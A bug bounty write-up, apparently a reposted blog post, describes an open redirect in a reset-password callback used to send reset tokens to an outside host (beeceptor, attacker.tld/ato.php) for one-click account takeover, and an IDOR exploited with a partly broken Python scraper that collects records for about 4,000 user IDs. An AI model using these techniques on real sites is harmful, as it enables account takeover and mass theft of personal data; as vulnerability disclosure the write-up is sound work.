One click Account Takeover & IDOR leaks all user information

1 week ago 16


The story of how I take over someone’s account by resetting the password.

Photo by Annie Spratt on Unsplash

Hello hacker!, After several days ago I shared Subdomain Takeover, this time Account Takeover in redacted.tld.

How am I interested in looking for bugs there?

I’m interested in looking for bugs there, because the startup/company has launched a new website or system to accommodate developers who want to learn, you could say it’s an online learning coding class system. and after I researched it, the main website page has a Hall of Fame, showing that it is aware of security. However, after I reported it, I didn’t know that the program had been closed for a long time (2 years maybe) but they still offered me rewards in the form of merchandise.

Figure 2. Reply to my report

How do I find bugs?

I tried registering an account at redacted.tld without paying attention to the burp history, then I got a link to confirm the account. where the link has a callback parameter with the value redacted.tld (callback=redacted.tld) whose function is to redirect to the main domain.

Figure 3. link activation

So far we have found an open redirect vulnerability, this was proven when we replaced it with But what is the impact? I’ve tried various tricks and still can’t steal sessions, cookies, etc.

Figure 4. open redirect bug

Account Takeover

Still using the previous loophole, but this is in the password reset feature. It turns out that the callback in the activation link is also used here. It is in the request and can be manipulated. But before that you can see the default request & response without manipulation (Figure 5).

Figure 5. Reset password fiture

How to steal user tokens?

I use beeceptor, which is usually Burp Collaborator, etc. to get information from the link that the user clicks (token). Just change the callback value with the beeceptor url. and wait for the user to click then I as the attacker have a token to change the password.

Figure 6. Manipulation callback

How to make onclick account takeover?

With the previous conditions above, we agree that the scenario for changing the password must wait for the user to click and we manually copy the token to the original endpoint then change the password.

But I have another way to make it an onclick account takeover.
1. Save request when setting new password
2. Create a php script with the logic of getting a token from get and passing the token to the request set password.
3. Example: attacker.tld/ato.php?token=
4. Users simply access the link and the password is automatically changed.

What’s worse? I can use the IDOR below to get the emails of all users.

Insecure Direct Object References (IDOR)

Then I wandered around the dashboard (trying out the existing features) until I got to the profile page in burp I saw the history of hit to api{id} The api has a response that displays the user’s information, and when I change the ID it can display the other user’s information as well.

Figure 7. response user info

Without further ado, I immediately called ChatGPT help to make me a script to display all user information in Python. (like Intruder)

import requests
import threading

def get_and_save_response(id):
url = f"{id}"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0',
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Authorization': 'eyJ0e{my_jwt}',
'Origin': 'https://www.redacted.tld',
'Referer': 'https://www.redacted.tld/',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'cross-site',
'Te': 'trailers'

response = requests.get(url, headers=headers)

if response.status_code == 200:
response_json = response.json()
with open('file.txt', 'a') as file:
file.write(f"ID: {id}\n")
file.write(str(response_json) + "\n\n")
print(f"Sucsessful take user info. ID {id} ")
print(f"Failed to take user info {id}. Status Code: {response.status_code}")

def thread_function(start_id, end_id):
for id in range(start_id, end_id):

num_threads = 4
thread_list = []

for i in range(num_threads):
start_id = i * (4000 // num_threads)
end_id = (i + 1) * (4000 // num_threads)
thread = threading.Thread(target=thread_function, args=(start_id, end_id))

for thread in thread_list:


And boom, I succeeded in simulating how a data breach occurred due to IDOR

Figure 8. Get all user info


Take advantage of other bugs to get more impact, don’t rush to report it when you feel the impact is not enough. then try reporting by creating a script / exploit that helps them make it easier to reproduce our findings, that can be a plus as well as practicing coding.

Done, thanks for reading.

Read Entire Article